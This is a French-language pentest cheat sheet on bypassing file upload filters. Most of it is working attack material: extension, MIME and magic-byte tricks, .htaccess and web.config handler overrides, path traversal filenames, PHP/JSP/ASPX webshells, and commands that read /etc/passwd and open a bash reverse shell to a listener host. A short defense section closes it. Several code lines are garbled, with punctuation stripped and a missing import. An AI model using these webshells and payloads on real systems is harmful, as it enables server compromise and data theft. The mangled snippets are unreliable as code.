MDstable
NoteSnippetChecklistPlaybook

File Upload Bypass

Contournement des filtres d'upload : extension, MIME type, magic bytes, path traversal, RCE via webshell

snippetadvanced 2026-05-14 5 min read
file-uploadwebshellrcemime-typemagic-bytespath-traversalpentest

Objectif

Uploader un fichier excutable webshell PHP JSP ASPX malgr les filtres
Excution de code ct serveur RCE
Filtres courants
Validation de lextension php interdit
Validation du Content-Type image/jpeg attendu
Validation des magic bytes signature binaire du fichier
Rename du fichier lupload
Stockage hors webroot

Bypass — Extension

bash
# Extensions alternatives PHP (si .php est filtré)
shellphp3 shellphp4 shellphp5 shellphp7
shellphtml shellpht shellshtml shellphar
# Extensions doubles
shellphpjpg shellphp00jpg shellphp
shellphp shellphp20
# Null byte truncation (PHP < 5.3 et certains systèmes)
# shell.php%00.jpg → le serveur lit "shell.php" et ignore le reste
# Casse mixte (si blacklist insensible à la casse)
shellPHP shellPhp shellpHp
# Extensions ASP/ASPX
shellasp shellaspx shellasa shellasax shellashx shellasmx
# JSP
shelljsp shelljspx shelljsw shelljsv

Bypass — Content-Type (MIME)

bash
Variables
{{TARGET}}
{{SESSION}}
# Intercepter avec Burp et modifier le Content-Type
# Changer : application/octet-stream → image/jpeg (ou image/png, image/gif)
# Requête originale :
# Content-Disposition: form-data; name="file"; filename="shell.php"
# Content-Type: application/octet-stream
# Requête modifiée :
# Content-Disposition: form-data; name="file"; filename="shell.php"
# Content-Type: image/jpeg
# Curl avec Content-Type forgé
curl -X POST https//{{TARGET}}/upload
-H "Cookie: session={{SESSION}}"
-F "file=@shell.php;type=image/jpeg"

Bypass — Magic Bytes (signature de fichier)

bash
# Ajouter la signature GIF au début du fichier PHP
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shellphpgif
# → Magic bytes GIF (47 49 46 38 39 61) + code PHP
# Signature JPEG
printf '\xff\xd8\xff\xe0' > shellphp
echo '<?php system($_GET["cmd"]); ?>' >> shellphp
# Renommer shell.php.jpg si nécessaire + Content-Type: image/jpeg
# Image valide + code PHP (exiftool)
exiftool -Comment='<?php system$_GET"cmd"; > image_legitimejpg
cp image_legitimejpg shellphpjpg
# → L'image est valide, le code PHP est dans les métadonnées EXIF
# Créer une vraie image GIF avec code PHP
python3 << 'EOF'
gif_header b"GIF89a\x01\x00\x01\x00\x00\xff\x00,"
gif_header b"\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"
php_payload b"<?php system($_GET['cmd']); ?>"
with open'shell.gif.php' 'wb' as f
fwritegif_header php_payload
EOF

Bypass — .htaccess / web.config

bash
# Si on peut uploader un .htaccess, redéfinir les handlers Apache
cat > htaccess << 'EOF'
AddType application/x-httpd-php jpg
# → tous les .jpg sont maintenant exécutés comme PHP
EOF
# Uploader .htaccess puis une image légitime (shell.jpg) avec code PHP
# Accéder à /uploads/shell.jpg → exécution PHP
# IIS — web.config
cat > webconfig << 'EOF'
<xml version"1.0" encoding"UTF-8">
<configuration>
<systemwebServer>
<handlers accessPolicy"Read, Script, Write">
<add name"web_config" path"*.config" verb"*" modules"IsapiModule"
scriptProcessor"%windir%\system32\inetsrv\asp.dll" resourceType"Unspecified" >
</handlers>
<security><requestFiltering><fileExtensions><remove fileExtension".config" ></fileExtensions></requestFiltering></security>
</system.webServer>
</configuration>
< LanguageVBScript >
< ResponseWrite "Shell: " & CreateObject"WScript.Shell"Exec"whoami"StdOutReadAll >
EOF

Bypass — Path Traversal dans le nom de fichier

bash
# Nom de fichier avec traversal : uploader dans un répertoire différent
# filename="../../shell.php"
# filename="../shell.php"
# filename="..%2Fshell.php"
# Via Burp — modifier le filename dans le form-data
# Content-Disposition: form-data; name="file"; filename="..%2F..%2Fshell.php"
# Cible : répertoire webroot si uploads est hors webroot
# ex: uploads/ est /var/www/uploads/ mais webroot est /var/www/html/
# → filename="../../html/shell.php"

Webshells courants

php
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_REQUEST['c']); ?>
<?php @eval($_POST['pass']); ?>
<?php
$cmd = $_REQUEST['cmd'];
$output = array();
exec($cmd, $output);
echo implode("\n", $output);
?>
jsp
<!-- JSP webshell -->
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
out.println(new java.util.Scanner(p.getInputStream()).useDelimiter("\\A").next());
%>
aspx
<!-- ASPX webshell -->
<%@ Page Language="C#" %>
<%
string cmd = Request.QueryString["cmd"];
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
%>

Exécution et post-upload

bash
Variables
{{TARGET}}
{{LHOST}}
{{LPORT}}
# Trouver l'URL du fichier uploadé
# Souvent dans la réponse JSON ou un header Location
# Tester : /uploads/shell.php, /files/shell.php, /media/shell.php
# Exécuter une commande
curl "https://{{TARGET}}/uploads/shell.php?cmd=id"
curl "https://{{TARGET}}/uploads/shell.php?cmd=whoami"
curl "https://{{TARGET}}/uploads/shell.php?cmd=cat+/etc/passwd"
# Reverse shell via la webshell
curl "https://{{TARGET}}/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/{{LHOST}}/{{LPORT}}+0>%261'"
# Listener
nc -lvnp {{LPORT}}

Défense

python
# Validation stricte côté serveur (Python)
import magic # python-magic — vérifie les magic bytes réels
import os
ALLOWED_MIME_TYPES = {'image/jpeg', 'image/png', 'image/gif', 'image/webp'}
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif', '.webp'}
MAX_SIZE = 5 * 1024 * 1024 # 5 MB
def validate_upload(file) -> None:
# 1. Vérifier la taille
file.seek(0, 2)
if file.tell() > MAX_SIZE:
raise ValueError("Fichier trop grand")
file.seek(0)
# 2. Vérifier les magic bytes réels (pas le Content-Type du client)
mime = magic.from_buffer(file.read(2048), mime=True)
if mime not in ALLOWED_MIME_TYPES:
raise ValueError(f"Type MIME non autorisé: {mime}")
file.seek(0)
# 3. Vérifier l'extension (double couche)
ext = os.path.splitext(file.filename)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError(f"Extension non autorisée: {ext}")
# 4. Renommer le fichier avec un nom aléatoire
safe_name = secrets.token_hex(16) + ext
return safe_name
nginx
# Nginx — bloquer l'exécution dans le dossier uploads
location /uploads/ {
# Désactiver l'exécution de scripts dans ce dossier
location ~ \.(php|php3|phtml|phar|pl|cgi|py|asp|aspx|jsp)$ {
deny all;
return 403;
}
}
Mesures complmentaires
Stocker les uploads HORS du webroot
Servir les fichiers via un endpoint ddi pas daccs URL direct
Reprocesser les images re-encode via PIL/Pillow efface les mtadonnes et code inject
Renommer tous les fichiers uploads UUID alatoire
Dsactiver lexcution PHP/CGI dans le dossier uploads
Utiliser un CDN ou bucket S3 pour servir les fichiers pas dexcution possible
⚠ Attention —

La validation côté client (JavaScript, accept="image/*") n'offre aucune sécurité — elle est bypassable en 5 secondes avec Burp. La validation MIME via Content-Type (fourni par le client) est également insuffisante. Seule la validation des magic bytes côté serveur avec une librairie comme python-magic (libmagic) est fiable.

OPS·BRAIN v1.075 notes · Securitylocal